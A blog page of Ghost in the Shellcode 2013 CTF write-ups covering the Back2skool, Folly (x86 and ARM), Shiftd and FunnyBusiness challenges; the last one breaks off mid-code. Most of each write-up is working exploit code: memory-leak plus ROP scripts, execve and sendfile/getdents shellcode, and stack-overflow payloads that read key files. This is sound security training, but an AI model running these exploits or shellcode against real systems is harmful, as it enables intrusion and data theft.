codezen.fr code hacking, zen coding

19Feb/13Off

GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

Posted by aXs

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, "The one-stop shop for all your arithmetic needs".

$ nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
  read  Read value from given index in table
  write Write value to given index in table
  func1 Change operation to addition
  func2 Change operation to multiplication
  math  Perform math operation on table
  exit  Quit and disconnect
read
Input position to read from:
1
Value at position 1: 1
write
Input position to write to:
1
Input numeric value to write:
10
Value at position 1: 10
func1
Setting mode to ADDITION
math
Result of math: 54
exit
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the "read" function works:

sendString(sockfd, (int)"Input position to read from:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
- There is no bound checking on the position value
- position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the "write" function:

readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
if ( position <= 9 )
{
  sendString(sockfd, (int)"Input numeric value to write:\n");
  readUntil(sockfd, (int)&nptr, 0x13u, 10);
  *(_DWORD *)&values[4 * position] = atoi(&nptr);
  sock_printf(sockfd, "Value at position %d: %d\n", position);
}
else
{
  sendString(sockfd, (int)"Table index too large!\n");
}

Almost the same story here except we have an inefficient bound checking:
- You can still enter negative number and the if() check will pass
- As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
- The stack is NX
- The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc...
- There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
- Do information leak: get the address of libc's __libc_start_main in the GOT table
- Overwrite the math_ptr with a stack pivot
- Fill the values array with a shell command line : cat key>&4
- Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
- Read key from socket

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside libc6.so. You can download this specific version from here for example: http://109.203.104.18/automate/instances/linuxmint/pbuilder/precise-i386/base.cow/lib/i386-linux-gnu/libc-2.15.so

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function's address in memory.

$ gdb libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 - 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

def read_memory(offset):
    position = offset_to_position(offset)
    tn.write("read\n")
    tn.read_until("Input position to read from:")
    tn.write(str(position) + "\n")
    tn.read_until("Value at position ")
    tn.read_until(": ")
    value = long(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def write_memory(offset, value):
    position = offset_to_position(offset)
    tn.write("write\n")
    tn.read_until("Input position to write to:")
    tn.write(str(position) + "\n")
    tn.read_until("Input numeric value to write:")
    tn.write(str(ctypes.c_long(value).value) + "\n")
    tn.read_until("Value at position " )
    tn.read_until( ": ")
    value = int(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def read_got_value(got, offset):
    return read_memory(got[offset])

def overwrite_got_pointer(got, offset, value):
    return write_memory(got[int(offset, 16)], value)

def offset_to_position(offset, adjust=False):
    if offset < addr_values or adjust:
        position = -((addr_values - offset) >> 2)
    else:
        position = 0x80000000 + ((offset - addr_values) >> 2)
    return ctypes.c_long(position).value

HOST = 'back2skool.2013.ghostintheshellcode.com'
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

tn.read_until("Quit and disconnect")

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
    value = read_memory(offset)
    hex_value = hex(value)
    #print hex(offset),":", hex_value
    got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
    print value, '=', hex(ptr[value])

print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74 libc.so.6
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values,   0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)

print "Putting ROP chain on the stack"
tn.write("read\n")
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")
tn.read_eager()

print "Pwning!"
tn.write("math\n")

print "Reading key:"
print tn.read_all()

tn.write("exit\n")

Results:

$ python pwn250.py
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Pwning!
Reading key:
You couldn't own a box if you purchased it

Key is "You couldn't own a box if you purchased it"

Share
18Feb/13Off

GiTS 2013 CTF – Trivia 400 Question 17 – Folly Level 3 ARM Write-up

Posted by aXs

This is the next level of Folly, the multi-level challenge from the Ghost in The Shell CTF.

Note: I couldn't complete this level during the CTF because of issues in getting my Debian Lenny and Squeeze qemu-system-arm images working with the Folly binary. I ended up blind coding the ARM shellcode and it didn't work. After the CTF, I managed to get a Fedora ARM distribution working on Qemu 0.14 (thanks kalenz) and was able to run and debug my solution: I had a one single byte wrong 🙁

The binary is doing exactly the same than for Level 1 x86_64 and Level 2 x86 except it's now compiled and running on a ARMv7 architecture.

The signature on the block buffer has been changed, we need to use 0x32adcd7d:

.text:00008F8E                 LDR             R3, [R7,#0x18+addr]
.text:00008F90                 STR             R3, [R7,#0x18+var_8]
.text:00008F92                 LDR             R3, [R7,#0x18+var_8]
.text:00008F94                 LDR             R2, [R3]
.text:00008F96                 MOV             R3, #0x32ADCD7D
.text:00008F9E                 CMP             R2, R3

To summarize our findings from previous level:
- We are in a chroot()
- There is no shell in this chroot()
- You need to guess the filename of the key file or uses a getdents() shellcode to list the folder first (the filename on the challenge box was "secret" so you can guess it)

The following exploit will uses a custom Linux ARM sendfile() shellcode to send us a file from the current directory:

import telnetlib
from struct import pack, unpack

host = 'folly.2013.ghostintheshellcode.com'
port = 5674

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5674
buffer = pack('<I', 0x032ADCD7D)

# custom open('secret')+sys_write for ARM

# Thumb mode
shellcode  = "\x05\x50\x45\xe0"  # sub  r5, r5, r5
shellcode += "\x01\x50\x8f\xe2"  # add  r5, pc, #1
shellcode += "\x15\xff\x2f\xe1"  # bx   r5

# open(filename, O_RDONLY) = fd
shellcode += "\x78\x46"          # mov  r0, pc
shellcode += "\x26\x30"          # adds r0, #38
shellcode += "\x00\x21"          # movs r1, 0
shellcode += "\x00\x22"          # movs r2, 0
shellcode += "\x05\x27"          # movs r7, #5
shellcode += "\x01\xdf"          # svc  1

# r8 = fd
shellcode += "\x80\x46"          # mov  r8, r0

# sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
shellcode += "\x04\x20"          # mov  r0, 4
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x00\x22"          # mov  r2, 0
shellcode += "\xff\x23"          # movs r3, #255
shellcode += "\xbb\x27"          # movs r7, #187
shellcode += "\x01\xdf"          # svc  1

# close(fd)
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x06\x27"          # movs r7, #6
shellcode += "\x01\xdf"          # svc  1

# exit(0)
shellcode += "\x1a\x49"          # subs r1, r1, r1
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x01\x27"          # movs r7, #1
shellcode += "\x01\xdf"          # svc  1

# filename
shellcode += "secret" + chr(0)

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

[pid   632] open("secret", O_RDONLY)    = 3
[pid   632] sendfile(4, 3, NULL, 255)   = 5
[pid   632] close(3)                    = 0
Share
17Feb/13Off

GiTS 2013 CTF – Question 17 Trivia 400 – Folly – Level 2 x86 chroot (getdents shellcode)

Posted by aXs

folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped

Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.

It's a sample text-game like this:

$ nc folly.2013.ghostintheshellcode.com 5679
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>M
Sire! Let me help you onto your steed.
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>A
Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."

"What giants?" asked Sancho Panza.

"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."

"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."

What will you shout as you attack the giants?
TEST
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>Q

You have to first "Mount Rocinante" before you can "Attack Giants". Let's focus on the attack:

First a RWE buffer is allocated with mmap:

.text:08049025                 mov     dword ptr [esp+14h], 0 ; offset
.text:0804902D                 mov     dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035                 mov     dword ptr [esp+0Ch], 22h ; flags
.text:0804903D                 mov     dword ptr [esp+8], 7 ; prot RWE
.text:08049045                 mov     dword ptr [esp+4], 1000h ; len
.text:0804904D                 mov     dword ptr [esp], 0 ; addr
.text:08049054                 call    _mmap

At most 1024 bytes is read from the socket to this buffer:

.text:08049059                 mov     [ebp+addr], eax
.text:0804905C                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:08049064                 mov     dword ptr [esp+8], 400h ; int
.text:0804906C                 mov     eax, [ebp+addr]
.text:0804906F                 mov     [esp+4], eax    ; int
.text:08049073                 mov     eax, [ebp+fd]
.text:08049076                 mov     [esp], eax      ; fd
.text:08049079                 call    readUntil

Code checks if the buffer starts with 0xe7ab444b:

.text:0804907E                 mov     eax, [ebp+addr]
.text:08049081                 mov     [ebp+var_10], eax
.text:08049084                 mov     eax, [ebp+var_10]
.text:08049087                 mov     eax, [eax]
.text:08049089                 cmp     eax, 0E7AB444Bh

It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):

.text:08049090                 mov     eax, [ebp+addr]
.text:08049093                 add     eax, 4
.text:08049096                 mov     [ebp+var_14], eax
.text:08049099                 mov     eax, [ebp+fd]
.text:0804909C                 mov     [esp], eax
.text:0804909F                 mov     eax, [ebp+var_14]
.text:080490A2                 call    eax

Simple right ? Almost except a few details:

- chroot() is used to restrict the process to its home directory
- there is no shell (/bin/sh) in the chroot
- you cannot escape the chroot with the classic mkdir()/chroot() trick

We started with a custom shellcode that would open a "key" file and send it to the socket but there was no "key" file.

So we designed a custom open()+getdents() x86 shellcode. Here it is:

BITS 32
GLOBAL _start
_start:
    jmp get_eip
 
run:
    xor eax, eax
    xor edi, edi
    inc edi
    inc edi
    inc edi
    inc edi

    ; fd = sys_open(".", 0, 0)
    add eax, edi    ; sys_open
    inc eax
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    test eax,eax  ; file exists?
    jz error

    mov ebx, eax  ; fd

    ; getdents(fd,esp,0x1337)
    mov edx, 0x1337 ;size
    sub esp, edx    ;make room on the stack
    mov ecx, esp    ;buffer
    mov eax, 0x8d   ;sys_getdents
    int 0x80

    mov edx, eax    ;size

    ; close(fd)
    mov eax, edi ; 4 + 2
    inc eax
    inc eax
    int 0x80 ; fd in ebx
 
    ; sys_write
    mov    ecx, esp    ; buffer
    mov    ebx, edi    ; fd 4
    mov    eax, edi    ; sys_write
    int    0x80 ; size in edx

    add esp, edx

error:
    ; sys_exit
    xor eax, eax
    inc eax
    xor ebx,ebx
    int 0x80

get_eip:
    call run
 
filename:
    db '.', 0x0

And the python part, with a decoder for the raw getdents buffer that we send:

import telnetlib
from struct import pack, unpack

def decode_getdents(getdents):
    index = 0
    while True:
        entry_len = unpack('<H', getdents[index+8:index+10])[0]
        getdent = getdents[index:index+entry_len+1]
        inode = unpack('<I', getdent[0:4])[0]
        filename = getdent[10:10+entry_len-2]
        yield inode, filename
        index += entry_len
        if index == len(getdents):
            break

host = 'folly.2013.ghostintheshellcode.com'
port = 5673

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5673
buffer = pack('<I', 0x0E7AB444B)

# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

for (inode, filename) in decode_getdents(s.recv(0x1337)):
    print inode, filename

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

$ python folly.py
shellcode len= 77
531277 ..
531278 .
531279 flag

So the file is called "flag", let's get it with a custom X86 sendfile() shellcode:

BITS 32
GLOBAL _start
_start:
    jmp short get_eip
 
run:
    xor eax, eax
    inc eax
    inc eax
    inc eax
    inc eax
    mov edi, eax
    xor edx, edx
 
    ; fd = sys_open(filename, 0, 0)
    mov eax, edi
    inc eax       ; sys_open
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    ; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
    mov ecx, eax  ; in_fd
    xor eax, eax
    mov al, 0xbb  ; sendfile() syscall
    mov ebx, edi  ; out_fd
    xor edx, edx  ; offset = 0
    mov esi, edi
    shl esi, 8    ; size (4 << 8 = 1024)
    int 0x80

    ; sys_exit(0)
    xor eax, eax
    mov al, 1 ;exit the shellcode
    xor ebx,ebx
    int 0x80

get_eip:
    call run            ; put address of our message onto the stack
 
filename:
    db 'flag', 0x0

Result:

$ python folly.py
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\n2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73\nfolly.2013.ghostintheshellcode.com:5674\n'
Share
17Feb/13Off

GiTS 2013 CTF – Pwnable 100 Question 8 – Shiftd

Posted by aXs

shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

Shiftd is an interesting X86_64 challenge combining information leak and exploitation.

There is an hard-coded password for access to the service, then the binary asks you for your name and how you would like to format the current time:

$ nc shiftd.2013.ghostintheshellcode.com 5177
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?
aXs
Welcome, aXs[!
Please provide a time format:
%y-%m-%d
Your formatted time is:
13-02-17

Thank you! Come again!

Do you notice something wrong with the name ? There is an extra character "[". Lets do this against but login in hex the traffic:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 61 58 73 0a                                     # aXs.
< 00000040 57 65 6c 63 6f 6d 65 2c 20 61 58 73 bb ff 7f 21 # Welcome, aXs...!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

Oh, the character changed and we see some telltales of a information leak: "bbff7f", the beginning of a stack pointer for X86_84.

Let's take a look at the code to understand what's going on, the main function is quite short so I will be it in full:

.text:0000000000400872 do_menu         proc near               ; CODE XREF: .text:0000000000400A77p
.text:0000000000400872
.text:0000000000400872 timer           = dword ptr -828h
.text:0000000000400872 buffer          = byte ptr -820h
.text:0000000000400872 format          = byte ptr -420h
.text:0000000000400872 name            = byte ptr -20h
.text:0000000000400872 tp              = qword ptr -10h
.text:0000000000400872 strftime_result = dword ptr -4
.text:0000000000400872
.text:0000000000400872                 push    rbp
.text:0000000000400873                 mov     rbp, rsp
.text:0000000000400876                 sub     rsp, 830h
.text:000000000040087D                 lea     rsi, [rbp+format]
.text:0000000000400884                 mov     eax, 0
.text:0000000000400889                 mov     edx, 80h
.text:000000000040088E                 mov     rdi, rsi
.text:0000000000400891                 mov     rcx, rdx
.text:0000000000400894                 rep stosq
.text:0000000000400897                 lea     rsi, [rbp+buffer]
.text:000000000040089E                 mov     eax, 0
.text:00000000004008A3                 mov     edx, 80h
.text:00000000004008A8                 mov     rdi, rsi
.text:00000000004008AB                 mov     rcx, rdx
.text:00000000004008AE                 rep stosq
.text:00000000004008B1                 mov     [rbp+strftime_result], 0
.text:00000000004008B8                 lea     rdi, s          ; "Welcome to Shifty's Time Formatting Ser"...
.text:00000000004008BF                 call    _puts
.text:00000000004008C4                 lea     rdi, aWhatIsYourName ; "What is your name?"
.text:00000000004008CB                 call    _puts
.text:00000000004008D0                 mov     rax, cs:stdout_ptr
.text:00000000004008D7                 mov     rax, [rax]
.text:00000000004008DA                 mov     rdi, rax        ; stream
.text:00000000004008DD                 call    _fflush
.text:00000000004008E2                 lea     rax, [rbp+name]
.text:00000000004008E6                 mov     edx, 0Ah
.text:00000000004008EB                 mov     esi, 10h
.text:00000000004008F0                 mov     rdi, rax
.text:00000000004008F3                 call    do_read
.text:00000000004008F8                 lea     rax, format     ; "Welcome, %s!\n"
.text:00000000004008FF                 lea     rdx, [rbp+name]
.text:0000000000400903                 mov     rsi, rdx
.text:0000000000400906                 mov     rdi, rax        ; format
.text:0000000000400909                 mov     eax, 0
.text:000000000040090E                 call    _printf
.text:0000000000400913                 lea     rdi, aPleaseProvideA ; "Please provide a time format:"
.text:000000000040091A                 call    _puts
.text:000000000040091F                 mov     rax, cs:stdout_ptr
.text:0000000000400926                 mov     rax, [rax]
.text:0000000000400929                 mov     rdi, rax        ; stream
.text:000000000040092C                 call    _fflush
.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read
.text:0000000000400958                 lea     rax, [rbp+timer]
.text:000000000040095F                 mov     rdi, rax        ; timer
.text:0000000000400962                 call    _time
.text:0000000000400967                 lea     rax, [rbp+timer]
.text:000000000040096E                 mov     rdi, rax        ; timer
.text:0000000000400971                 call    _localtime
.text:0000000000400976                 mov     [rbp+tp], rax
.text:000000000040097A                 mov     rcx, [rbp+tp]   ; tp
.text:000000000040097E                 lea     rdx, [rbp+format] ; format
.text:0000000000400985                 lea     rax, [rbp+buffer]
.text:000000000040098C                 mov     esi, 400h       ; maxsize
.text:0000000000400991                 mov     rdi, rax        ; s
.text:0000000000400994                 call    _strftime
.text:0000000000400999                 mov     [rbp+strftime_result], eax
.text:000000000040099C                 cmp     [rbp+strftime_result], 0C0000005h
.text:00000000004009A3                 jz      short failed_strftime
.text:00000000004009A5                 lea     rdi, aYourFormattedT ; "Your formatted time is:"
.text:00000000004009AC                 call    _puts
.text:00000000004009B1                 lea     rax, [rbp+buffer]
.text:00000000004009B8                 mov     rdi, rax        ; s
.text:00000000004009BB                 call    _puts
.text:00000000004009C0                 lea     rdi, empty_string ; s
.text:00000000004009C7                 call    _puts
.text:00000000004009CC                 lea     rdi, aThankYouComeAg ; "Thank you! Come again!"
.text:00000000004009D3                 call    _puts
.text:00000000004009D8                 mov     rax, cs:stdout_ptr
.text:00000000004009DF                 mov     rax, [rax]
.text:00000000004009E2                 mov     rdi, rax        ; stream
.text:00000000004009E5                 call    _fflush
.text:00000000004009EA                 leave
.text:00000000004009EB                 retn

The problem is that do_read() doesn't NULL-terminate the string. So when we print the name, we print the name and whatever is after the name on the stack until we hit a NULL.

Let's try again but with an empty name:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 0a                                              # .
< 00000040 57 65 6c 63 6f 6d 65 2c 20 80 c5 1d 6c ff 7f 21 # Welcome, ...l..!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

We get "80 c5 1d 6c ff 7f", otherwise said 0x7fff6c1dc580 which is full pointer to an element on the stack (it's a pointer to the previous string used by the password actually)

That's a great piece for our puzzle as this binary is ALSR: memory layout and so pointers change values (randomized base) each time you run it. Now we can hit the stack with 100% confidence. But it's not a vulnerability in itself. What else have we got in here ?

Let's take a look at the do_read() (again!) call for reading the time format:

.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read

In the rdi register we have the maximum buffer size allowed to be read from the socket, coming from rax and cs:off_601068:

.data:0000000000601068 off_601068      dq offset stderr+400h   ; DATA XREF: do_menu+BFr

What is this? stderr is an external symbol of libc. It's offset (position) in memory is a very big number and we are still adding even more with +400h.

As we can read almost as much we want in the format buffer due to the faulty max size, we can overflow it and smash the stack.

Using trial and error and Metasploit's pattern_create tool we calculate we have to fill 1064 bytes until we hit and overwrite the return address on the stack.

Our exploit payload will be:
- Send [PASSWORD][empty name "\n"]
- Receive "Welcome, %s!" and decode pointer for information leak
- Calculate RETIP using the leaked pointer, our NOPSLED will be 2112 bytes before this pointer
- Send [NOPSLED][SHELLCODE][RETIP]

import socket
from struct import pack, unpack

host = 'shiftd.2013.ghostintheshellcode.com'
port = 5177

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send("NowIsTheWinterOfOurDiscountTent\n")

data = s.recv(16384)
print repr(data)

s.send("\n")

data = s.recv(16384)
stack = data[len('Welcome, '):len('Welcome, ')+6] +"\x00\x00"

stack_addr = unpack('<Q', stack)[0]

print "stack_addr=", hex(stack_addr)

retip = pack('<Q', stack_addr - 0x840)

print 'retip=', repr(retip), len(retip)

s.send('\x90' * 16 + shellcode + 'A' * (1064 - 16 - len(shellcode)) + retip + "\n")

data = s.recv(32768)
print repr(data)

s.send("\ncat /home/shiftd/key\n")

data = s.recv(32768)
print data

Result:

"Welcome to Shifty's Time Formatting Service!\nWhat is your name?\n"
stack_addr= 0x7fffeba157e0L
retip= '\xa0O\xa1\xeb\xff\x7f\x00\x00' 8
'Your formatted time is:\n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nThank you! Come again!\n'
http://shifty.urbanup.com/4195551
Share
17Feb/13Off

GiTS 2013 CTF – Pwnable 100 Question 5 – FunnyBusiness

Posted by aXs

funnybusiness-fb84813ddd932f6aceee0ed3a4e9f1e0a7082dc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

After reversing this ELF32 binary, when we reconstruct the following connection handler:

int __cdecl handler(int sock_fd)
{
  int z_code;
